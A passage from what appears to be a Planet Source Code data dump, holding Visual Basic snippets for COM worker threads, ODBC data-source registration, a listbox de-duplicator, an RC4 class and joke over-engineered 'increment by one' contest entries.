obtained from a ProgID via CLSIDFromProgID\n'Data contains the data for the new thread\n'fStealData should be True if the data is large. If this\n' is set, then Data will be Empty on return. If Data\n' contains an object reference, then the object should\n' be created on this thread.\n'fReturnThreadHandle must explicitly be set to True to\n' return the created thread handle. This handle can be\n' used for calls like SetThreadPriority and must be\n' closed with CloseHandle.\nFriend Function CreateWorkerThread(CLSID As CLSID, Data As Variant, Optional ByVal fStealData As Boolean = False, Optional ByVal fReturnThreadHandle As Boolean = False) As Long\nDim TPD As ThreadProcData\nDim IID_IUnknown As VBGUID\nDim ThreadID As Long\nDim ThreadHandle As Long\nDim pStream As IUnknown\nDim ThreadData As ThreadData\nDim fCleanUpOnFailure As Boolean\nDim hProcess As Long\nDim pUnk As IUnknown\n If m_fStoppingWorkers Then Err.Raise 5, , "Can't create new worker while shutting down"\n CleanCompletedThreads 'We need to clean up sometime, this is as good a time as any\n With TPD\n Set ThreadData = New ThreadData\n .CLSID = CLSID\n .EventHandle = m_EventHandle\n With IID_IUnknown\n .Data4(0) = &HC0\n .Data4(7) = &H46\n End With\n .pMarshalStream = CoMarshalInterThreadInterfaceInStream(IID_IUnknown, Me)\n .ThreadDonePointer = ThreadData.ThreadDonePointer\n .ThreadDataCookie = ObjPtr(ThreadData)\n .pCritSect = m_pCS\n ThreadData.SetData Data, fStealData\n Set ThreadData.Controller = Me\n m_RunningThreads.Add ThreadData, CStr(.ThreadDataCookie)\n End With\n ThreadHandle = CreateThread(0, 0, AddressOf ThreadProc.ThreadStart, VarPtr(TPD), 0, ThreadID)\n If ThreadHandle = 0 Then\n fCleanUpOnFailure = True\n Else\n 'Turn ownership of the thread handle over to\n 'the ThreadData object\n ThreadData.ThreadHandle = ThreadHandle\n 'Make sure we've been notified by ThreadProc before continuing to\n 'guarantee that the new thread has gotten the data they need out\n 'of the ThreadProcData structure\n WaitForSingleObject m_EventHandle, INFINITE\n If TPD.hr Then\n fCleanUpOnFailure = True\n ElseIf fReturnThreadHandle Then\n hProcess = GetCurrentProcess\n DuplicateHandle hProcess, ThreadHandle, hProcess, CreateWorkerThread\n End If\n End If\n If fCleanUpOnFailure Then\n 'Failure, clean up stream by making a reference and releasing it\n CopyMemory pStream, TPD.pMarshalStream, 4\n Set pStream = Nothing\n 'Tell the thread its done using the normal mechanism\n InterlockedIncrement TPD.ThreadDonePointer\n 'There's no reason to keep the new thread data\n CleanCompletedThreads\n End If\n If TPD.hr Then Err.Raise TPD.hr\nEnd Function\n'Called after a thread is created to provide a mechanism\n'to stop execution and retrieve initial data for running\n'the thread. Should be called in ThreadLaunch_Go with:\n'Controller.RegisterNewThread ThreadDataCookie, VarPtr(m_Notify), Controller, Data\nPublic Sub RegisterNewThread(ByVal ThreadDataCookie As Long, ByVal ThreadSignalPointer As Long, ByRef ThreadControl As ThreadControl, Optional Data As Variant)\nDim ThreadData As ThreadData\nDim fInCriticalSection As Boolean\n Set ThreadData = m_RunningThreads(CStr(ThreadDataCookie))\n ThreadData.ThreadSignalPointer = ThreadSignalPointer\n ThreadData.GetData Data\n 'The new thread should not own the controlling thread because\n 'the controlling thread has to teardown after all of the worker\n 'threads are done running code, which can't happen if we happen\n 'to release the last reference to ThreadControl in a worker\n 'thread. ThreadData is already holding an extra reference on\n 'this object, so it is guaranteed to remain alive until\n 'ThreadData is signalled.\n Set ThreadControl = Nothing\n If m_fStoppingWorkers Then\n 'This will only happen when StopWorkerThreads is called\n 'almost immediately after CreateWorkerThread. We could\n 'just let this signal happen in the StopWorkerThreads loop,\n 'but this allows a worker thread to be signalled immediately.\n 'See note in SignalThread about CriticalSection usage.\n ThreadData.SignalThread m_pCS, fInCriticalSection\n If fInCriticalSection Then LeaveCriticalSection m_pCS\n End If\nEnd Sub\n'Call StopWorkerThreads to signal all worker threads\n'and spin until they terminate. Any calls to an object\n'passed via the Data parameter in CreateWorkerThread\n'will succeed.\nFriend Sub StopWorkerThreads()\nDim ThreadData As ThreadData\nDim fInCriticalSection As Boolean\nDim fSignal As Boolean\nDim fHaveOleThreadhWnd As Boolean\nDim OleThreadhWnd As Long\n If m_fStoppingWorkers Then Exit Sub\n m_fStoppingWorkers = True\n fSignal = True\n Do\n For Each ThreadData In m_RunningThreads\n If ThreadData.ThreadCompleted Then\n m_RunningThreads.Remove CStr(ObjPtr(ThreadData))\n ElseIf fSignal Then\n 'See note in SignalThread about CriticalSection usage.\n ThreadData.SignalThread m_pCS, fInCriticalSection\n End If\n Next\n If fInCriticalSection Then\n LeaveCriticalSection m_pCS\n fInCriticalSection = False\n Else\n 'We can turn this off indefinitely because new threads\n 'which arrive at RegisterNewThread while stopping workers\n 'are signalled immediately\n fSignal = False\n End If\n If m_RunningThreads.Count = 0 Then Exit Do\n 'We need to clear the message queue here in order to allow\n 'any pending RegisterNewThread messages to come through.\n If Not fHaveOleThreadhWnd Then\n OleThreadhWnd = FindOLEhWnd\n fHaveOleThreadhWnd = True\n End If\n SpinOlehWnd OleThreadhWnd, False\n Sleep 0\n Loop\n m_fStoppingWorkers = False\nEnd Sub\n'Releases ThreadData objects for all threads\n'that are completed. Cleaning happens automatically\n'when you call SignalWorkerThreads, StopWorkerThreads,\n'and RegisterNewThread.\nFriend Sub CleanCompletedThreads()\nDim ThreadData As ThreadData\n For Each ThreadData In m_RunningThreads\n If ThreadData.ThreadCompleted Then\n m_RunningThreads.Remove CStr(ObjPtr(ThreadData))\n End If\n Next\nEnd Sub\n'Call to tell all running worker threads to\n'terminated. If the thread has not yet called\n'RegisterNewThread, then it will not be signalled.\n'Unlike StopWorkerThreads, this does not block\n'while the workers actually terminate.\n'SignalWorkerThreads must be called by the owner\n'of this class before the ThreadControl instance\n'is released.\nFriend Sub SignalWorkerThreads()\nDim ThreadData As ThreadData\nDim fInCriticalSection As Boolean\n For Each ThreadData In m_RunningThreads\n If ThreadData.ThreadCompleted Then\n m_RunningThreads.Remove CStr(ObjPtr(ThreadData))\n Else\n 'See note in SignalThread about CriticalSection usage.\n ThreadData.SignalThread m_pCS, fInCriticalSection\n End If\n Next\n If fInCriticalSection Then LeaveCriticalSection m_pCS\nEnd Sub\nPrivate Sub Class_Initialize()\n Set m_RunningThreads = New Collection\n m_EventHandle = CreateEvent(0, 0, 0, vbNullString)\n m_pCS = VarPtr(m_CS)\n InitializeCriticalSection m_pCS\nEnd Sub\nPrivate Sub Class_Terminate()\n CleanCompletedThreads 'Just in case, this generally does nothing.\n Debug.Assert m_RunningThreads.Count = 0 'Each worker should have a reference to this class\n CloseHandle m_EventHandle\n DeleteCriticalSection m_pCS\nEnd Sub\n</pre></td>\n </tr>\n</table>\n \n<table border=\"0\" bgcolor=\"#C0C0C0\">\n <tr>\n <td bgcolor=\"#FFFF00\">Launch.cls</td>\n </tr>\n <tr>\n <td><pre>Option Explicit\nPrivate Controller As ThreadControl\nPublic Sub LaunchThreads()\nDim CLSID As CLSID\n CLSID = CLSIDFromProgID("DllThreads.Worker")\n Controller.CreateWorkerThread CLSID, 3000, True\n Controller.CreateWorkerThread CLSID, 5000, True\n Controller.CreateWorkerThread CLSID, 7000\nEnd Sub\nPublic Sub FinishThreads()\n Controller.StopWorkerThreads\nEnd Sub\nPublic Sub CleanCompletedThreads()\n Controller.CleanCompletedThreads\nEnd Sub\nPrivate Sub Class_Initialize()\n Set Controller = New ThreadControl\nEnd Sub\nPrivate Sub Class_Terminate()\n Controller.StopWorkerThreads\n Set Controller = Nothing\nEnd Sub</pre></td>\n </tr>\n</table> \n<table border=\"0\" bgcolor=\"#C0C0C0\">\n <tr>\n <td bgcolor=\"#FFFF00\">ThreadLaunch.cls</td>\n </tr>\n <tr>\n <td><pre>Option Explicit\n'Just an interface definition\nPublic Function Go(Controller As ThreadControl, ByVal ThreadDataCookie As Long) As Long\nEnd Function\n'The rest of this is a comment\n#If False Then\n'A worker thread should include the following code.\n'The Instancing for a worker should be set to 5 - MultiUse\nImplements ThreadLaunch\nPrivate m_Notify As Long\nPublic Function ThreadLaunch_Go(Controller As ThreadControl, ByVal ThreadDataCookie As Long) As Long\nDim Data As Variant\n Controller.RegisterNewThread ThreadDataCookie, VarPtr(m_Notify), Controller, Data\n 'TODO: Process Data while\n 'regularly calling HaveBeenNotified to\n 'see if the thread should terminate.\n If HaveBeenNotified Then\n 'Clean up and return\n End If\nEnd Function\nPrivate Function HaveBeenNotified() As Boolean\n HaveBeenNotified = m_Notify\nEnd Function\n#End If</pre></td>\n </tr>\n</table> \n<table border=\"0\" bgcolor=\"#C0C0C0\">\n <tr>\n <td bgcolor=\"#FFFF00\">Worker.cls</td>\n </tr>\n <tr>\n <td><pre>Option Explicit\nImplements ThreadLaunch\nPrivate m_Notify As Long\nPublic Function ThreadLaunch_Go(Controller As ThreadControl, ByVal ThreadDataCookie As Long) As Long\nDim Data As Variant\nDim SleepTime As Long\n Controller.RegisterNewThread ThreadDataCookie, VarPtr(m_Notify), Controller, Data\n ThreadLaunch_Go = Data\n SleepTime = Data\n While SleepTime > 0\n Sleep 100\n SleepTime = SleepTime - 100\n If HaveBeenNotified Then\n MsgBox "Notified"\n Exit Function\n End If\n Wend\n MsgBox "Done Sleeping: " & Data\nEnd Function\nPrivate Function HaveBeenNotified() As Boolean\n HaveBeenNotified = m_Notify\nEnd Function</pre></td>\n </tr>\n</table>\n \n<table border=\"0\" bgcolor=\"#C0C0C0\">\n <tr>\n <td bgcolor=\"#FFFF00\">ThreadData.cls</td>\n </tr>\n <tr>\n <td><pre>Option Explicit\nPrivate m_ThreadDone As Long\nPrivate m_ThreadSignal As Long\nPrivate m_ThreadHandle As Long\nPrivate m_Data As Variant\nPrivate m_Controller As ThreadControl\nFriend Function ThreadCompleted() As Boolean\nDim ExitCode As Long\n ThreadCompleted = m_ThreadDone\n If ThreadCompleted Then\n 'Since code runs on the worker thread after the\n 'ThreadDone pointer is incremented, there is a chance\n 'that we are signalled, but the thread hasn't yet\n 'terminated. In this case, just claim we aren't done\n 'yet to make sure that code on all worker threads is\n 'actually completed before ThreadControl terminates.\n If m_ThreadHandle Then\n If GetExitCodeThread(m_ThreadHandle, ExitCode) Then\n If ExitCode = STILL_ACTIVE Then\n ThreadCompleted = False\n Exit Function\n End If\n End If\n CloseHandle m_ThreadHandle\n m_ThreadHandle = 0\n End If\n End If\nEnd Function\nFriend Property Get ThreadDonePointer() As Long\n ThreadDonePointer = VarPtr(m_ThreadDone)\nEnd Property\nFriend Property Let ThreadSignalPointer(ByVal RHS As Long)\n m_ThreadSignal = RHS\nEnd Property\nFriend Property Let ThreadHandle(ByVal RHS As Long)\n 'This takes over ownership of the ThreadHandle\n m_ThreadHandle = RHS\nEnd Property\nFriend Sub SignalThread(ByVal pCritSect As Long, ByRef fInCriticalSection As Boolean)\n 'm_ThreadDone and m_ThreadSignal must be checked/modified inside\n 'a critical section because m_ThreadDone could change on some\n 'threads while we are signalling, causing m_ThreadSignal to point\n 'to invalid memory, as well as other problems. The parameters to this\n 'function are provided to ensure that the critical section is entered\n 'only when necessary. If fInCriticalSection is set, then the caller\n 'must call LeaveCriticalSection on pCritSect. This is left up to the\n 'caller since this function is designed to be called on multiple instances\n 'in a tight loop. There is no point in repeatedly entering/leaving the\n 'critical section.\n If m_ThreadSignal Then\n If Not fInCriticalSection Then\n EnterCriticalSection pCritSect\n fInCriticalSection = True\n End If\n If m_ThreadDone = 0 Then\n InterlockedIncrement m_ThreadSignal\n End If\n 'No point in signalling twice\n m_ThreadSignal = 0\n End If\nEnd Sub\nFriend Property Set Controller(ByVal RHS As ThreadControl)\n Set m_Controller = RHS\nEnd Property\nFriend Sub SetData(Data As Variant, ByVal fStealData As Boolean)\n If IsEmpty(Data) Or IsMissing(Data) Then Exit Sub\n If fStealData Then\n CopyMemory ByVal VarPtr(m_Data), ByVal VarPtr(Data), 16\n CopyMemory ByVal VarPtr(Data), 0, 2\n ElseIf IsObject(Data) Then\n Set m_Data = Data\n Else\n m_Data = Data\n End If\nEnd Sub\nFriend Sub GetData(Data As Variant)\n 'This is called only once. Always steal.\n 'Before stealing, make sure there's\n 'nothing lurking in Data\n Data = Empty\n CopyMemory ByVal VarPtr(Data), ByVal VarPtr(m_Data), 16\n CopyMemory ByVal VarPtr(m_Data), 0, 2\nEnd Sub\nPrivate Sub Class_Terminate()\n 'This shouldn't happen, but just in case\n If m_ThreadHandle Then CloseHandle m_ThreadHandle\nEnd Sub\n</pre></td>\n </tr>\n</table>\nThe type library (ThreadAPI) used to call CreateThread safely is in the zip. "},{"WorldId":1,"id":24749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24756,"LineNumber":1,"line":"Pleasee, download this source code by http://www.sourcecode4free.com/upload/filepages.asp?fileid=2433\nIn Planet Source Code Not Upload the Dll for Interpreting scripts\nThanks.."},{"WorldId":1,"id":24766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24767,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24832,"LineNumber":1,"line":"Dim j As Integer\n j = 0\n \nDo While j < List1.ListCount\n \n List1.Text = List1.List(j)\n \n If List1.ListIndex <> j Then\n List1.RemoveItem j\n Else\n j = j + 1\n End If\n \nLoop\n \nEnd Sub"},{"WorldId":1,"id":24833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24849,"LineNumber":1,"line":"IN MODULE (.BAS)\nOption Explicit\nPublic Const vbAPINull As Long = 0&\nPrivate Const SQL_SUCCESS As Long = 0\nPrivate Const SQL_SUCCESS_WITH_INFO As Long = 1\nDeclare Function SQLAllocConnect Lib \"odbc32.dll\" (ByVal henv _\n As Long, phdbc As Long) As Integer\nDeclare Function SQLDisconnect Lib \"odbc32.dll\" (ByVal hdbc As _\n Long) As Integer\nDeclare Function SQLConnect Lib \"odbc32.dll\" (ByVal hdbc As _\n Long, ByVal szDSN As String, ByVal cbDSN As Integer, ByVal szUID As _\n String, ByVal cbUID As Integer, ByVal szAuthStr As String, ByVal _\n cbAuthStr As Integer) As Integer\nDeclare Function SQLFreeEnv Lib \"odbc32.dll\" (ByVal henv As _\n Long) As Integer\nDeclare Function SQLFreeConnect Lib \"odbc32.dll\" (ByVal hdbc _\n As Long) As Integer\nDeclare Function SQLError Lib \"odbc32.dll\" (ByVal henv As _\n Long, ByVal hdbc As Long, ByVal hstmt As Long, ByVal szSqlState As _\n String, pfNativeError As Long, ByVal szErrorMsg As String, ByVal _\n cbErrorMsgMax As Integer, pcbErrorMsg As Integer) As Integer\nDeclare Function SQLConfigDataSource Lib \"ODBCCP32\" _\n (ByVal hwndParent As Long, ByVal fRequest As Long, _\n ByVal lpszDriver As String, ByVal lpszAttributes As String) As Long\nIn Class (.CLS)\nOption Explicit\nPublic Enum peDSN_OPTIONS\n ODBC_ADD_DSN = 1\n ODBC_CONFIG_DSN = 2\n ODBC_ADD_SYS_DSN = 4\n ODBC_CONFIG_SYS_DSN = 5\nEnd Enum\nPublic Function RegisterDataSource(iFunction As peDSN_OPTIONS, sDSNName As String, sServerName As String, sDatabasename As String, sUserID As String, sPassword As String) As Integer\n Dim sAttributes As String\n Dim iRetVal As Integer\n \n \n \n sAttributes = \"DSN=\" & sDSNName _\n & Chr$(0) & \"Description=SQL Server on server \" & sServerName _\n & Chr$(0) & \"SERVER=\" & sServerName _\n & Chr$(0) & \"Database=\" & sDatabasename _\n & Chr$(0) & Chr$(0)\n iRetVal = SQLConfigDataSource(vbAPINull, iFunction, \"SQL Server\", sAttributes)\nEnd Function\n"},{"WorldId":1,"id":24851,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24857,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24858,"LineNumber":1,"line":"'================================\n'OK, all. Here's the first challenge,\n'informally put out (without his\n'knowledge or consent) by Intensify:\n'================================\n'--Scope of project:\n'INCREMENT BY ONE\n'\n'--Returns:\n'Value incremented by one\n'\n'--Challenge:\n'Try to top this one, I didn't try\n'TERRIBLY hard, b/c I do have a\n'real job...\n'\n'--Constraints:\n'Rule #1: \"Looping for the express\n'purpose of adding time to an\n'algorithm is expressly forbidden.\"\n'\n'--Seriously:\n'PLEASE keep these submissions in\n'the 'Jokes/Humor' category to make\n'sure that PSC does continue to be\n'taken seriously.\n'***********************************\n'RGCC (Rube Goldberg Coding Contest)\n'EULA:\n'The code herein is copyrighted.\n'\n'Feel free to use this code\n'in your applications. If you\n'do, send payment (first month's\n'lease) to me for each application\n'that you distribute.\n'\n'You will be sent a monthly bill\n'for each license of your application\n'that you distribute. If you do\n'not pay this bill, all licenses\n'to this software will be revoked\n'and Guido from the Software\n'Publisher's Association will be\n'paying a visit to your home.\n'In addition, the users' copies of\n'the software will cease to operate,\n'and their virus protection software\n'will be automatically deactivated.\n'\n'************************************\n'====================\n'Place this code on a form and\n'add a command button\n'====================\nOption Explicit\nPrivate Sub Command1_Click()\n Dim NumberThatIWantToIncrement As Integer\n NumberThatIWantToIncrement = _\n InputBox(\"Number to increment by 1: \", \"Increment a Number\")\n NumberThatIWantToIncrement = _\n IncrementAnIntegerByTheValueOfOne(NumberThatIWantToIncrement, _\n \"<<Your string goes here - ANY string will work!>>\")\n MsgBox NumberThatIWantToIncrement\nEnd Sub\n\n'====================\n'Place this code in a standard module\n'====================\n'********************\n'Requires a reference to Microsoft\n'ActiveX Data Objects 2.x\n'********************\nOption Explicit\nPublic Function IncrementAnIntegerByTheValueOfOne _\n(ByVal TheOriginalNumber As Integer, _\nByVal TheStringToPassInWillBeThis As String) As Integer\n Dim FirstCharacterOfTheStringPassedIn As String * 1\n Dim ASCIIValueOfTheFirstCharacterOfTheStringPassedIn As Integer\n Dim ValueOfOne As Integer\n FirstCharacterOfTheStringPassedIn = _\n GetTheFirstCharacterOfTheString(TheStringToPassInWillBeThis)\n ASCIIValueOfTheFirstCharacterOfTheStringPassedIn = _\n Asc(FirstCharacterOfTheStringPassedIn)\n ValueOfOne = _\n ASCIIValueOfTheFirstCharacterOfTheStringPassedIn - _\n (ASCIIValueOfTheFirstCharacterOfTheStringPassedIn - 1)\n IncrementAnIntegerByTheValueOfOne = TheOriginalNumber + ValueOfOne\nEnd Function\nPublic Function GetTheFirstCharacterOfTheString(ByVal TheOriginalString As String) As String\n Dim StringToReturn As String * 1\n Dim TheRecordsetToHoldTheString As ADODB.RecordSet\n Set TheRecordsetToHoldTheString = New ADODB.RecordSet\n '---Note here, the clever use of the 'With' keyword to cut down on verbosity...\n With TheRecordsetToHoldTheString\n .Fields.Append \"StringName\", adVarChar, 100\n .Open\n .AddNew \"StringName\", TheOriginalString\n End With\n StringToReturn = _\n Chr(Asc(Right(TheRecordsetToHoldTheString.Fields(0).Value, _\n Len(TheRecordsetToHoldTheString.Fields(0).Value) - 1)))\n GetTheFirstCharacterOfTheString = StringToReturn\nEnd Function\n"},{"WorldId":1,"id":24860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24862,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24864,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24870,"LineNumber":1,"line":"'/////////////////////////////////////////////\n'Form\nOption Explicit\nConst ArbitraryString = \"Me, Myself, and I\"\nConst IDLength = 255\nConst ValidSessionChars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\nPrivate Sub cmdIncrementByOne_Click()\n lblFunctionOutput = IncrementByOne(Val(txtOrigNumber.Text))\nEnd Sub\nPrivate Function IncrementByOne(ByVal OrigNumber As Double) As Double\n Dim ValueOfOne As String\n Dim MyID As String\n Dim MyKey As String\n Dim MySecondKey As String\n Dim objCrypt As clsRC4\n Dim objCrypt2 As clsRC4\n Dim CryptedID As String\n Dim EncryptedNum As String\n Dim IncrementedNum As Double\n \n MyID = GenerateRandomID(ArbitraryString)\n MyKey = GenerateRandomID(MyID)\n Set objCrypt = New clsRC4\n objCrypt.Key = MyKey\n MySecondKey = objCrypt.Crypt(MyID)\n Set objCrypt2 = New clsRC4\n objCrypt2.Key = MySecondKey\n CryptedID = objCrypt2.Crypt(MyID)\n EncryptedNum = objCrypt2.Crypt(CStr(OrigNumber))\n ValueOfOne = objCrypt.Crypt(CStr(Max(Asc(Mid(CryptedID, Int(Rnd * IDLength) + 1, 1)) Mod 2, 1)))\n IncrementedNum = Val(objCrypt2.Crypt(EncryptedNum)) + Val(objCrypt.Crypt(ValueOfOne))\n IncrementByOne = IncrementedNum\nEnd Function\nFunction Max(ByVal First, ByVal Second)\n If First > Second Then\n Max = First\n Else\n Max = Second\n End If\nEnd Function\n'Function to generate Unique (hopefully) IDs based on the current Time/Date and UserName\nFunction GenerateRandomID(ByVal User)\n Dim Working\n Dim CurTime\n Dim Transfer\n Dim Length\n Dim i\n \n 'Start off by using the current Time/Date as a number\n CurTime = CStr(CDbl(Now))\n \n 'Use a Timer based Seed For a better random\n Randomize\n \n 'Initialize the String to NullString (we don't want to take chances on invalid info.\n Working = vbNullString\n \n 'Now we start by creating the Random ID based off the current time randomized\n For i = 1 To Len(CurTime)\n Working = Working & Mid(ValidSessionChars, ((Int((Rnd * Len(ValidSessionChars)) + 1) Xor Asc(Mid(CurTime, i, 1))) Mod Len(ValidSessionChars)) + 1, 1)\n Next\n \n 'Now we use each character of the UserName the get random characters from our Allowable list and add then to the ID\n For i = 1 To Len(User)\n Working = Working & Mid(ValidSessionChars, ((Int((Rnd * Len(ValidSessionChars)) + 1) Xor Asc(Mid(User, i, 1))) Mod Len(ValidSessionChars)) + 1, 1)\n Next\n \n 'Now we need to filter out any bad characters that got in (Should not be any)\n Transfer = \"\"\n For i = 1 To Len(Working)\n If (InStr(1, ValidSessionChars, Mid(Working, i, 1)) > 0) Then\n Transfer = Transfer & Mid(Working, i, 1)\n End If\n Next\n Working = Transfer\n \n 'Now we do some tests to make sure we are generate a fixed length ID\n Select Case True\n Case (Len(Working) < IDLength)\n 'Generate the extra characters randomly using the existing part of the ID as seeds\n Length = Len(Working)\n For i = (Length + 1) To IDLength\n Working = Working & Mid(ValidSessionChars, Int((Rnd * Len(ValidSessionChars)) + 1), 1)\n Next\n Case (Len(Working) > IDLength)\n 'Truncate the ID down to valid Length\n Working = Mid(Working, 1, IDLength)\n End Select\n 'Return what we generated.\n GenerateRandomID = Working\nEnd Function\n'/////////////////////////////////////////////\n'clsRC4 Class\nOption Explicit\n \nPrivate mStrKey\nPrivate mBytKeyAry(255)\nPrivate mBytCypherAry(255)\n \nPrivate Sub InitializeCypher()\n Dim lBytJump\n Dim lBytIndex\n Dim lBytTemp\n \n For lBytIndex = 0 To 255\n mBytCypherAry(lBytIndex) = lBytIndex\n Next\n ' Switch values of Cypher arround based off of index and Key value\n lBytJump = 0\n For lBytIndex = 0 To 255\n ' Figure index To switch\n lBytJump = (lBytJump + mBytCypherAry(lBytIndex) + mBytKeyAry(lBytIndex)) Mod 256\n \n ' Do the switch\n lBytTemp = mBytCypherAry(lBytIndex)\n mBytCypherAry(lBytIndex) = mBytCypherAry(lBytJump)\n mBytCypherAry(lBytJump) = lBytTemp\n Next\nEnd Sub\nPublic Property Let Key(ByRef pStrKey)\n Dim lLngKeyLength\n Dim lLngIndex\n \n If pStrKey = mStrKey Then Exit Property\n lLngKeyLength = Len(pStrKey)\n If lLngKeyLength = 0 Then Exit Property\n mStrKey = pStrKey\n lLngKeyLength = Len(pStrKey)\n For lLngIndex = 0 To 255\n mBytKeyAry(lLngIndex) = Asc(Mid(pStrKey, ((lLngIndex) Mod (lLngKeyLength)) + 1, 1))\n Next\nEnd Property\nPublic Property Get Key()\n Key = mStrKey\nEnd Property\nPublic Function Crypt(ByRef pStrMessage)\n Dim lBytIndex\n Dim lBytJump\n Dim lBytTemp\n Dim lBytY\n Dim lLngT\n Dim lLngX\n \n ' Validate data\n If Len(mStrKey) = 0 Then Exit Function\n If Len(pStrMessage) = 0 Then Exit Function\n Call InitializeCypher\n \n lBytIndex = 0\n lBytJump = 0\n For lLngX = 1 To Len(pStrMessage)\n lBytIndex = (lBytIndex + 1) Mod 256 ' wrap index\n lBytJump = (lBytJump + mBytCypherAry(lBytIndex)) Mod 256 ' wrap J+S()\n \n ' Add/Wrap those two\n lLngT = (mBytCypherAry(lBytIndex) + mBytCypherAry(lBytJump)) Mod 256\n \n ' Switcheroo\n lBytTemp = mBytCypherAry(lBytIndex)\n mBytCypherAry(lBytIndex) = mBytCypherAry(lBytJump)\n mBytCypherAry(lBytJump) = lBytTemp\n lBytY = mBytCypherAry(lLngT)\n ' Character Encryption ...\n Crypt = Crypt & Chr(Asc(Mid(pStrMessage, lLngX, 1)) Xor lBytY)\n Next\nEnd Function"},{"WorldId":1,"id":24872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24894,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24904,"LineNumber":1,"line":"' in Module (.bas)\nOption Explicit\nPublic Const vbAPINull As Long = 0&\nPrivate Const SQL_SUCCESS As Long = 0\nPrivate Const SQL_SUCCESS_WITH_INFO As Long = 1\nDeclare Function SQLAllocConnect Lib \"odbc32.dll\" (ByVal henv _\n As Long, phdbc As Long) As Integer\nDeclare Function SQLDisconnect Lib \"odbc32.dll\" (ByVal hdbc As _\n Long) As Integer\nDeclare Function SQLConnect Lib \"odbc32.dll\" (ByVal hdbc As _\n Long, ByVal szDSN As String, ByVal cbDSN As Integer, ByVal szUID As _\n String, ByVal cbUID As Integer, ByVal szAuthStr As String, ByVal _\n cbAuthStr As Integer) As Integer\nDeclare Function SQLFreeEnv Lib \"odbc32.dll\" (ByVal henv As _\n Long) As Integer\nDeclare Function SQLFreeConnect Lib \"odbc32.dll\" (ByVal hdbc _\n As Long) As Integer\nDeclare Function SQLError Lib \"odbc32.dll\" (ByVal henv As _\n Long, ByVal hdbc As Long, ByVal hstmt As Long, ByVal szSqlState As _\n String, pfNativeError As Long, ByVal szErrorMsg As String, ByVal _\n cbErrorMsgMax As Integer, pcbErrorMsg As Integer) As Integer\nDeclare Function SQLConfigDataSource Lib \"ODBCCP32\" _\n (ByVal hwndParent As Long, ByVal fRequest As Long, _\n ByVal lpszDriver As String, ByVal lpszAttributes As String) As Long\n' In Class (.cls)\nOption Explicit\nPublic Enum peDSN_OPTIONS\n ODBC_ADD_DSN = 1\n ODBC_CONFIG_DSN = 2\n ODBC_ADD_SYS_DSN = 4\n ODBC_CONFIG_SYS_DSN = 5\nEnd Enum\nPublic Function RegisterDataSource(iFunction As peDSN_OPTIONS, sDSNName As String, sMDBPath As String, _\n Optional sUserID As String, Optional sPassword As String) As Integer\n Dim sAttributes As String\n Dim iRetVal As Integer\n \n If sUserID = \"\" Then sUserID = \"Admin\"\n \n sAttributes = \"DSN=\" & sDSNName _\n & Chr$(0) & \"Description=Microsoft Access Database (\" & sMDBPath & \")\" _\n & Chr$(0) & \"UID = \" & sUserID _\n & Chr$(0) & \"DefaultDir=\" & sMDBPath _\n & Chr$(0) & \"DBQ=\" & sMDBPath _\n & Chr$(0)\n iRetVal = SQLConfigDataSource(vbAPINull, iFunction, \"Microsoft Access Driver (*.mdb)\", sAttributes)\nEnd Function\n"},{"WorldId":1,"id":24906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24907,"LineNumber":1,"line":"'***************************************************************\n' Abstract: Writes a BLOB datafield to a file. If the Data Field is\n' big I would recommend that you set bUseStream = False.\n'\n' Input: strFullPath: Full path to the destination file\n' objField: Field object that contains the BLOB data.\n' bUseStream: (Optional) True = Use Stream methode, False = Use GetChunk\n' lngChunkSize: (Optional) Specifies the Chunk size to fetch with each GetChunk\n'\n' Output: True on success, False on failure\n'***************************************************************\nPublic Function BLOBToFile(ByVal strFullPath As String, ByRef objField As ADODB.Field, Optional ByVal bUseStream As Boolean = True, Optional ByVal lngChunkSize As Long = 8192) As Boolean\nOn Error Resume Next\nDim objStream As ADODB.Stream\nDim intFreeFile As Integer\nDim lngBytesLeft As Long\nDim lngReadBytes As Long\nDim byBuffer() As Byte\n If bUseStream Then\n Set objStream = New ADODB.Stream\n With objStream\n .Type = adTypeBinary\n .Open\n .Write objField.Value\n .SaveToFile strFullPath, adSaveCreateOverWrite\n End With\n DoEvents\n Else\n 